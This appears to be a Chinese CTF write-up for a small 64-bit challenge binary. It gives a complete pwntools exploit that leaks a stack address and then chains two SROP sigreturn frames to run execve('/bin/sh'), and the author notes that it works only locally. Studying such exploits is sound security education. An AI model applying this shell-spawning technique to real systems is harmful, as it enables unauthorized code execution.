1.下载 得到文件 checksec exeinfo:
64位 拖入IDA64
只有一个函数 看汇编:
进行了read操作 read的返回值是读取字符数 可以利用这一点进行SROP
要进行SROP 要有binsh地址 所以首先需要泄露栈地址:
start_addr = 0x4000B0
sysret_addr = 0x4000BE
payload = p64(start_addr) * 3
p.send(payload)
p.send(b'\xB3')
#第一个start_addr读取到0xB3 会将第二个start_addr跳过rax清零的步骤
#从而让rax变成1执行write泄露栈地址
#这时传入第三个start_addr填充,然后会泄露栈地址
stack = u64(p.recv()[0x8:0x10])
print(hex(stack))
接着就是要构造sigreturen 将SP移动到泄露地址上 方便得到binsh地址偏移
需要构造两段frame 第一段用于将返回地址跳到stack 第二段用于执行execve
exp:
from pwn import *
p = process('./small')
context.arch = 'amd64'
start_addr = 0x4000B0
sysret_addr = 0x4000BE
payload = p64(start_addr) * 3
p.send(payload)
p.send(b'\xB3')
#第一个start_addr读取到0xB3 会将第二个start_addr跳过rax清零的步骤
#从而让rax变成1执行write泄露栈地址
#这时传入第三个start_addr填充,然后会泄露栈地址
stack = u64(p.recv()[0x8:0x10])
print(hex(stack))
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = stack
frame.rdx = 0x400
frame.rsp = stack
frame.rip = sysret_addr
payload = p64(start_addr) + b'a' * 8 + bytes(frame)
p.send(payload)
#这里是将8个a及frame压入栈中 方便等会syscall
#8个a的作用:在执行这段的start_addr时 SP正指向这8个a
#这时候再read syscall就会覆盖8个a
sig_payload = p64(sysret_addr) + b'b' * 7
p.send(sig_payload)
#这段payload用于将8个a覆盖为syscall
#并且让read读取15个字节 rax=15 方便sigreturn
frame.rax = constants.SYS_execve
frame.rdi = stack + 0x200
#这里的 0x200 可以写成任意小于read最大读取量且大于payload在frame前长度的值
#偏移自己定
frame.rsi = 0
frame.rdx = 0
frame.rip = sysret_addr
frame_payload = p64(start_addr) + b'b' * 8 + bytes(frame)
frame_payload = frame_payload.ljust(0x200, b'a') + b'/bin/sh\x00'
p.send(frame_payload)
p.send(sig_payload)
#这里send这个的意思是用syscall覆盖8个b 并且将rax设置为15
p.interactive()
本地能打通 线上找好久都没找到打通的方法